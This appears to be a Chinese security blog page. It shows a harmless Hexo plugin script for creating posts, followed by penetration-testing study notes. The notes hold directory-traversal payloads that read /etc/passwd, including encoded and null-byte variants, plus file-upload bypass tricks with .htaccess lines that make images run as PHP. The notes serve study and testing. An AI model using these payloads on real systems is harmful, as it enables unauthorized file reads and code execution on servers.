Here's something encrypted, password is required to continue reading.
阅读全文 »

Here's something encrypted, password is required to continue reading.
阅读全文 »

因为我是用了根据路径自动生成分类,但是使用hexo new -p /path/to/filename title命令的时候感觉很不方便,因为我希望我可以在同级目录下生成名字和标题一样的.md文件和文件夹。但是使用-p参数的时候我就得这样:

1
hexo new -p 渗透测试/弱口令/【渗透测试】弱口令 【渗透测试】弱口令

我得敲两遍标题,而且使用-p的时候不显示当前目录下的文件夹有哪些。觉得很不方便。因此我打算为我的hexo实现两个功能:

  1. 当我执行:hexo newp first/second/title 的时候,会在_post/first/second/下生成【second】title文件夹和【second】title.md文件,文章标题拼接为【second】title

  2. 在选择路径的时候按Tab键时,能像操作系统终端一样:

    1. 若只有一条路径符合我已经输入的路径,则自动补全。
    2. 若有多个目录符合我已经输入的路径,打印符合要求的所有路径。

经过不断的测试,我满足了我的需求,顿时觉得爽了很多。实现这两个功能的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
const fs = require('fs');
const path = require('path');
const readline = require('readline');
const { promisify } = require('util');

const mkdir = promisify(fs.mkdir);
const writeFile = promisify(fs.writeFile);
const readdir = promisify(fs.readdir);
const readFile = promisify(fs.readFile);

hexo.extend.console.register('newp', 'Create new post with path (e.g., first/second/title)', {
options: [
{ name: '--auto-complete', desc: 'Enable tab completion' }
]
}, async function(args) {
const log = hexo.log || console.log;

if (args.autoComplete) {
return this.tabComplete(args);
}

const fullPath = args._[0];
if (!fullPath) {
log.error('Usage: hexo newp <path/levels/title>');
return;
}

// 处理 Windows 路径分隔符问题
const normalizedPath = fullPath.replace(/\\/g, '/');
const parts = normalizedPath.split('/');
const title = parts.pop();
const category = parts.join('/');
const lastDir = parts[parts.length - 1] || '';

// 生成文件夹名和文件名
const folderName = `【${lastDir}${title}`;
const fileName = `${folderName}.md`;

// 创建目录结构 - 确保文件夹和文件在同一层级
const baseDir = path.join(hexo.source_dir, '_posts', category);
const folderPath = path.join(baseDir, folderName);
const filePath = path.join(baseDir, fileName);

try {
// 创建文件夹(用于存放资源)
await mkdir(folderPath, { recursive: true });

// 使用模板文件
const templatePath = path.join(hexo.scaffold_dir, 'post.md');
let templateContent;

try {
templateContent = await readFile(templatePath, 'utf8');
} catch (e) {
// 如果模板文件不存在,使用默认模板
templateContent = [
'---',
'title: {{ title }}',
'date: {{ date }}',
'categories:',
'tags:',
'- private',
'description: 声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。',
'top:',
'comments: true',
'---'
].join('\n');
}

// 替换模板中的标题
const content = templateContent
.replace(/{{ title }}/g, folderName)
//.replace(/{{ date }}/g, new Date().toISOString());

// 创建 Markdown 文件
await writeFile(filePath, content);

log.info(`Created folder: ${folderPath}`);
log.info(`Created file: ${filePath}`);
} catch (error) {
log.error(`Error creating post: ${error.message}`);
}
});

// Tab 补全逻辑保持不变
hexo.extend.console.tabComplete = async function(args) {
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
completer: async (line) => {
const partial = line.trim().replace(/\\/g, '/');
const baseDir = path.join(hexo.source_dir, '_posts');

const matches = await this.findMatches(baseDir, partial);

if (matches.length === 1) {
const completed = matches[0] + '/';
return [[completed], completed];
} else if (matches.length > 1) {
console.log('\n' + matches.join('\n'));
}
return [matches, line];
}
});

rl.question('Enter post path: ', (line) => {
if (line.trim()) {
hexo.call('newp', { _: [line.trim()] }, () => {
rl.close();
});
} else {
rl.close();
}
});
};

// 路径匹配函数保持不变
hexo.extend.console.findMatches = async function(baseDir, partialPath) {
const parts = partialPath.split('/');
let currentDir = baseDir;
let existingPath = [];

for (const part of parts.slice(0, -1)) {
if (!part) continue;

const testDir = path.join(currentDir, part);
try {
if (!fs.existsSync(testDir)) break;
const stat = fs.statSync(testDir);
if (!stat.isDirectory()) break;

currentDir = testDir;
existingPath.push(part);
} catch (e) {
break;
}
}

const lastPartial = parts[parts.length - 1] || '';
let dirContents = [];

try {
dirContents = await readdir(currentDir, { withFileTypes: true });
} catch (e) {
return [];
}

return dirContents
.filter(dirent => dirent.isDirectory())
.map(dirent => dirent.name)
.filter(name => name.startsWith(lastPartial))
.map(name => [...existingPath, name].join('/'));
};

只需要创建js文件:\blog\scripts\newp.js,将代码复制粘贴进去就可以了。

最终效果如下:

image-20250723143513850

思路汇总

域名、ip、目录、

靶场:

先收集信息、源码找URL、御剑扫后台和敏感文件。

  • 信息收集

    • 检查源码(URL、敏感信息)
    • 目录扫描
  • 登录后台

    • 弱口令
    • SQL注入
  • GET、POST参数

    • SQL注入
    • 路径遍历
  • HTML

    • SSRF

漏洞思路

  • 信息收集

    • ip
    • 源码(URL、敏感信息)
    • 目录扫描
    • 中间件版本

本文参考:

目录遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 相对路径遍历
https://insecure-website.com/loadImage?filename=../../../etc/passwd

# 绝对路径遍历
https://insecure-website.com/loadImage?filename=/etc/passwd

# 嵌套遍历
https://insecure-website.com/loadImage?filename=....//....//....//etc//passwd
https://insecure-website.com/loadImage?filename=....//....//....//etc//passwd

# URL编码遍历
# 单层相对
filename=%2e%2e%2fetc%2fpasswd
# 双层相对
filename=%252e%252e%252fetc%2fpasswd
# 双层相对
filename=.%%32%65/.%%32%65/.%%32%65/etc/passwd
# 从预期基本文件夹开始
filename=/var/www/images/...%2f...%2f...%2fetc/passwd
# 空字节截断
filename=.../.../.../etc/passwd%00.png

Windows文件上传绕过

  • 黑名单绕过:

    • 大小写

    • 不常见脚本的后缀

    • 末尾加点(限Windows)

    • 末尾加 ::$DATA 字符串(限Windows)

    • 加空格(限Windows)

    • 双写

    • GET和POST %00 截断

    • 配置文件修改 .htaccess

      1
      2
      3
      4
      5
      AddHandler php5-script .jpg

      AddType application/x-httpd-php .jpg

      Sethandler application/x-httpd-php

入门

前端限制后缀

后端验证content-type

图片添加php语句,直接使用添加了php语句的图片,拦截包后修改,直接传,比较方便。能直接绕过前端。

进阶